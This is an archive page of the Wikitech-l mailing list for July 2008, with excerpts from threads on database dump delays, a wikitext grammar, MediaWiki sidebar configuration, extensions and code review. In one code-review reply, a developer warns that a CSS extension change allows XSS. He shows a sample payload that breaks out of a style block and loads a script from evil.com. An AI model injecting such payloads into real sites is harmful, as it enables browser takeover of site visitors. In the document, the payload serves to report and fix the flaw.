Wikitech-l July 2008

wikitech-l@lists.wikimedia.org

68 participants
95 discussions

Database dumps
by Byrial Jensen 17 Apr '25

17 Apr '25

Until some weeks ago http://dumps.wikimedia.org/backup-index.html used to show 4 dumps in progress at the same time. That meant that new database dumps normally was available within about 3 weeks for all databases except for enwiki and maybe dewiki where the dump process due to size took longer time. However the 4 dumps processes at one time become 3 some weeks ago. And after massive failures at June 4, only one dump has been in progress at the same time. So at the current speed it will take several months to come thru all dumps. Is it possible to speed up the process again using several dump processes at the same time? Thank you, Byrial

3 2

EBNF grammar project status?
by Steve Bennett 01 Apr '25

01 Apr '25

What's the status of the project to create a grammar for Wikitext in EBNF? There are two pages: http://meta.wikimedia.org/wiki/Wikitext_Metasyntax http://www.mediawiki.org/wiki/Markup_spec Nothing seems to have happened since January this year. Also the comments on the latter page seem to indicate a lack of clear goal: is this just a fun project, is it to improve the existing parser, or is it to facilititate a new parser? It's obviously a lot of work, so it needs to be of clear benefit. Brion requested the grammar IIRC (and there's a comment to that effect at http://bugzilla.wikimedia.org/show_bug.cgi?id=7 ), so I'm wondering what became of it. Is there still a goal of replacing the parser? Or is there some alternative plan? Steve

26 217

MediaWiki to Latex Converter
by Hugo Vincent 18 Jun '12

18 Jun '12

Hi everyone, I recently set up a MediaWiki (http://server.bluewatersys.com/w90n740/) and I need to extra the content from it and convert it into LaTeX syntax for printed documentation. I have googled for a suitable OSS solution but nothing was apparent. I would prefer a script written in Python, but any recommendations would be very welcome. Do you know of anything suitable? Kind Regards, Hugo Vincent, Bluewater Systems.

6 13

Replacement stats for placeholder images?
by David Gerard 13 Oct '09

13 Oct '09

I've been putting placeholder images on a lot of articles on en:wp. e.g. [[Image:Replace this image male.svg]], which goes to [[Wikipedia:Fromowner]], which asks people to upload an image if they own one. I know it's inspired people to add free content images to articles in several cases. What I'm interested in is numbers. So what I'd need is a list of edits where one of the SVGs that redirects to [[Wikipedia:Fromowner]] is replaced with an image. (Checking which of those are actually free images can come next.) Is there a tolerably easy way to get this info from a dump? Any Wikipedia statistics fans who think this'd be easy? (If the placeholders do work, then it'd also be useful convincing some wikiprojects to encourage the things. Not that there's ownership of articles on en:wp, of *course* ...) - d.

7 11

$wgTrackLinkChanges ([MediaWiki-CVS] SVN: [37542] trunk/phase3)
by Bryan Tong Minh 27 Aug '08

27 Aug '08

> From: brion(a)svn.wikimedia.org <brion(a)svn.wikimedia.org> > Date: Jul 11, 2008 12:11 AM > Subject: [MediaWiki-CVS] SVN: [37542] trunk/phase3 > To: mediawiki-cvs(a)lists.wikimedia.org > > > Revision: 37542 > Author: brion > Date: 2008-07-10 22:11:11 +0000 (Thu, 10 Jul 2008) > > Log Message: > ----------- > Hold back $wgTrackLinkChanges for a little bit; reverting r37322, > 37430, 37432, 37435. > Even disabled, it's started interfering with regular tasks like > running the parser tests. > > Modified Paths: > -------------- > trunk/phase3/RELEASE-NOTES > trunk/phase3/includes/DefaultSettings.php > trunk/phase3/includes/LinksUpdate.php > trunk/phase3/maintenance/parserTests.inc > trunk/phase3/maintenance/postgres/tables.sql > trunk/phase3/maintenance/tables.sql > trunk/phase3/maintenance/updaters.inc > > Removed Paths: > ------------- > trunk/phase3/maintenance/postgres/archives/patch-recentlinkchanges.sql > Can I put this back in now that we have branched? Or is there more stuff to fix about it? Bryan

2 6

Moving the search box up
by Tim Starling 08 Aug '08

08 Aug '08

It's now possible to move the search box up in the sidebar, above links generated by [[MediaWiki:Sidebar]]. This is done by adding a section called "SEARCH" (case-sensitive) to [[MediaWiki:Sidebar]], in the location you think it should be. For instance: * SEARCH * navigation ** mainpage|mainpage ** Portal:Contents|Contents ** Portal:Featured content|featuredcontent ** currentevents-url|currentevents ** randompage-url|randompage It's also possible to move the languages box and the toolbox in the same way, using LANGUAGES and TOOLBOX. Do not put second-level links under the special headings: * SEARCH ** Don't add a line like this It doesn't do anything useful (yet). -- Tim Starling

14 25

WikiTimeLine Extension possibly a good idea for implementation on Wikipedia or sister projects
by M Sz 06 Aug '08

06 Aug '08

Hi! The MediaWiki extension WikiTimeLine version 1.0 is released. It displays events, people, and such on an interactive timeline. Its working with JavaScript (client side, so it doesn't but load on the server) and its pretty interactive (moving around, zooming, clicking on events on the timeline). If you add WikiTimeLine tags with a start and end date to an article, you'll get a link in that article, and if you click on that link you'll add event to the timeline. So its totally real-time. Unlike easytimeline which is creating pictures when the article is created, WikiTimeLine is controlled by the reader of the article, not the writer. So everyone can put together their own timeline to see how things went in history. It also allows ongoing events (that have not yet stopped) and alternative begin or end dates. I think this would be a great extension for Wikipedia or one of its sister projects. Any interest in that? greetings, Markus _________________________________________________________________ Sie haben nie Platz in Ihrer Inbox? Mit Windows Live Hotmail haben Sie jetzt 5GB Speicherplatz - gratis! Holen Sie sich hier Ihren neuen Windows Live Hotmail Account! http://get.live.com/mail/overview

4 7

Dumps Still Stuck (since 7/1)?
by yegg＠alum.mit.edu 06 Aug '08

06 Aug '08

The database dumps (http://download.wikimedia.org/backup-index.html) don't seem to have made any progress since 7/1. I realize they can appear stalled in the normal process (http://meta.wikimedia.org/wiki/Data_dumps#Schedule), but in the recent past (as far as I know) they have not been stalled this long without there being something actually wrong. Are they indeed still stuck (http://lists.wikimedia.org/pipermail/wikitech-l/2008-July/038625.html)? And is there anything I (or other community members) can do about it? Thank you for your time.

7 13

Re: [Wikitech-l] [MediaWiki-CVS] SVN: [38275] trunk/extensions/CSS/CSS.php
by Simetrical 03 Aug '08

03 Aug '08

On Wed, Jul 30, 2008 at 11:36 PM, <nad(a)svn.wikimedia.org> wrote: > Log Message: > ----------- > I meant to say should *not* use htmlspecialchars, it makes invalid CSS syntax - bug reported on MW talk page > ... > - $css = htmlspecialchars(trim(Sanitizer::checkCss($css))); > + $css = trim(Sanitizer::checkCss($css)); > $parser->mOutput->addHeadItem( <<<EOT > <style type="text/css"> > /*<![CDATA[*/ I'm pretty sure this results in a rather straightforward XSS exploit. What if $css is something like: ]]></style><script type="text/javascript" src="http://evil.com/take_over_browser.js"></script><style type="text/css"><![CDATA[ You aren't escaping "]]>" anywhere. The more correct solution, it seems to me, is to dispose of the CDATA section altogether. It's entirely unnecessary if the code is automatically generated and you can stick it through htmlspecialchars, especially if there's probably almost nothing to escape and the CDATA delimiters look uglier than the occasional rare < or whatnot. I've done this in r38307.

6 15

Re: [Wikitech-l] [MediaWiki-CVS] SVN: [38321] trunk/phase3/includes/WatchlistEditor.php
by Simetrical 31 Jul '08

31 Jul '08

On Thu, Jul 31, 2008 at 7:20 PM, <brion(a)svn.wikimedia.org> wrote: > Log Message: > ----------- > Revert r38302,38306 -- "Add an order by to the list of watched pages." > This looks wrong -- an order by title wouldn't be indexed properly, and could be rather slow. > . . . > $sql = "SELECT wl_namespace, wl_title, page_id, page_len, page_is_redirect > FROM {$watchlist} LEFT JOIN {$page} ON ( wl_namespace = page_namespace > AND wl_title = page_title ) WHERE wl_user = {$uid}"; > - if ( !$dbr->implicitOrderby() ) { > - $sql .= ' ORDER BY wl_title'; > - } Maybe Greg meant ORDER BY wl_namespace, wl_title? That's the way it would implicitly be retrieved in MySQL with our indexes. If that's causing problems, that order should be made unconditionally explicit: this isn't a case where it needs to be implicit for MySQL to be happy. (If there is such a case. Not sure what this distinction is needed for.)

1 0

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

2002

Wikitech-l July 2008